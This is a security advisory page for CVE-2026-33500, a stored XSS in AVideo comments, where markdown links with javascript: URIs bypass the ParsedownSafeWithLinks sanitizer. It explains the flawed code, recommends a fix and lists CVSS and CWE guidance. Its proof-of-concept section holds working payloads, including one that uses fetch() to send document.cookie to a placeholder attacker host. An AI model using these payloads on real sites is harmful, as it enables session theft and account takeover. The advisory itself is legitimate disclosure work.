GHSA-72h5-39r7-r26j CVE-2026-33500
AVideo - Incomplete Fix for CVE-2026-27568: Stored XSS via Markdown `javascript:` URI Bypasses ParsedownSafeWithLinks Sanitization
- Severity
- 5.4 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.23%
- Chance of exploitation in the next 30 days. Higher than 13.37% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
- Fix
- None yet
- No fixed version published
Description
Summary
The fix for CVE-2026-27568 (GHSA-rcqw-6466-3mv7) introduced a custom ParsedownSafeWithLinks class that sanitizes raw HTML <a> and <img> tags in comments, but explicitly disables Parsedown's safeMode. This creates a bypass: markdown link syntax [text](javascript:alert(1)) is processed by Parsedown's inlineLink() method, which does not go through the custom sanitizeATag() sanitization (that only handles raw HTML tags). With safeMode disabled, Parsedown's built-in javascript: URI filtering (sanitiseElement()/filterUnsafeUrlInAttribute()) is also inactive. An attacker can inject stored XSS via comment markdown links.
Details
The original fix (commit ade348ed6) enabled setSafeMode(true), which activated Parsedown's built-in URL scheme filtering. This was then replaced by commit f13587c59 with a custom approach that turned safeMode back off:
objects/functionsSecurity.php:442-446 — safeMode disabled:
function markDownToHTML($text) {
$parsedown = new ParsedownSafeWithLinks();
$parsedown->setSafeMode(false); // line 445 — disables Parsedown's built-in javascript: filtering
$parsedown->setMarkupEscaped(false);
$html = $parsedown->text($text);
ParsedownSafeWithLinks (lines 349-440) overrides blockMarkup() and inlineMarkup() to sanitize raw HTML <a> tags via sanitizeATag(), which whitelist-checks the URL scheme:
// sanitizeATag() at line 360 — only allows http(s), mailto, /, #
if (preg_match('/^(https?:\/\/|mailto:|\/|#)/i', $url)) {
$href = ' href="' . htmlspecialchars($url, ENT_QUOTES) . '"';
}
However, this sanitization only runs for raw HTML <a> tags processed through inlineMarkup(). Markdown-syntax links ([text](url)) are handled by Parsedown's core inlineLink() method (vendor/erusev/parsedown/Parsedown.php:1258), which constructs an element array and passes it to element().
vendor/erusev/parsedown/Parsedown.php:1470-1475 — sanitiseElement only runs when safeMode is true:
protected function element(array $Element)
{
if ($this->safeMode) // false — so sanitiseElement() is never called
{
$Element = $this->sanitiseElement($Element);
}
sanitiseElement() would have called filterUnsafeUrlInAttribute() which replaces : with %3A for non-whitelisted schemes like javascript:, but it is never invoked.
Data flow:
- User posts comment containing
[Click here](javascript:alert(document.cookie)) xss_esc()applieshtmlspecialchars()— no HTML special chars exist in the payload, stored unchanged- On retrieval,
xss_esc_back()reverses encoding (no-op), thenmarkDownToHTML()converts markdown to<a href="javascript:alert(document.cookie)">Click here</a> - Result stored in
commentWithLinks(objects/comment.php:420) - Rendered directly in DOM via template at
view/videoComments_template.php:15:<p>{commentWithLinks}</p>
PoC
- Log in as any user with comment permission
- Navigate to any video page
- Post a comment with the following markdown:
[Click here for more info](javascript:alert(document.cookie))
- The comment is saved and rendered. Any user viewing the video sees "Click here for more info" as a clickable link
- Clicking the link executes
alert(document.cookie)in the victim's browser context
For session hijacking:
[See related video](javascript:fetch('https://attacker.example/steal?c='+document.cookie))
Impact
- Session hijacking: Attacker can steal session cookies of any user (including admins) who clicks the comment link, leading to full account takeover
- Scope change (S:C): The XSS executes in the context of the viewing user's session, crossing the trust boundary from the attacker's low-privilege comment context
- Persistence: The payload is stored in the database and triggers for every user who views the page and clicks the link
- UI:R required: The victim must click the link, which limits the severity vs. auto-executing XSS
Recommended Fix
Override inlineLink() in ParsedownSafeWithLinks to apply URL scheme filtering to markdown-generated links:
class ParsedownSafeWithLinks extends Parsedown
{
// ... existing code ...
protected function inlineLink($Excerpt)
{
$Link = parent::inlineLink($Excerpt);
if ($Link === null) {
return null;
}
$href = $Link['element']['attributes']['href'] ?? '';
// Apply the same whitelist as sanitizeATag: only allow http(s), mailto, relative, anchors
if ($href !== '' && !preg_match('/^(https?:\/\/|mailto:|\/|#)/i', $href)) {
$Link['element']['attributes']['href'] = '';
}
return $Link;
}
}
Alternatively, re-enable safeMode(true) and find a different approach to allow <a> and <img> tags (e.g., post-processing the safe output to re-inject whitelisted tags).
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| wwbn/avideo | <= 26.0 |
No fix yet |
How to fix
No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.
Severity breakdown
CVSS 3.1 5.4
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- Required
- Scope
- Changed
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Weakness
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
How to prevent it
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- Implementation, Architecture and Design: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Implementation: Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
- Implementation: With Struts, write all data from form beans with the bean's filter attribute set to true.
- Implementation: To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most ef
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-m7r8-6q9j-m2hc WWBN AVideo has an incomplete fix for CVE-2026-33500: XSS | Medium | Linked by the source |
| GHSA-7cqp-7cfv-6c3q AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel | Medium | Also affects wwbn/avideo |
| GHSA-wc3f-xc32-435f AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink | High | Also affects wwbn/avideo |
| GHSA-95jh-7r58-xmxw AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data | Medium | Also affects wwbn/avideo |
| GHSA-wf69-r4mx-43rr AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration | High | Also affects wwbn/avideo |
| GHSA-8j8m-p79x-g4jm AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions | Medium | Also affects wwbn/avideo |
| GHSA-8whc-2wmv-ww35 WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin | Critical | Also affects WWBN/AVideo |
| GHSA-66q5-cj5g-wrfx WWBN AVideo: Stored XSS via Hostile YouTube Video Title in AVideo YouTubeAPI Gallery Section | Medium | Also affects WWBN/AVideo |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor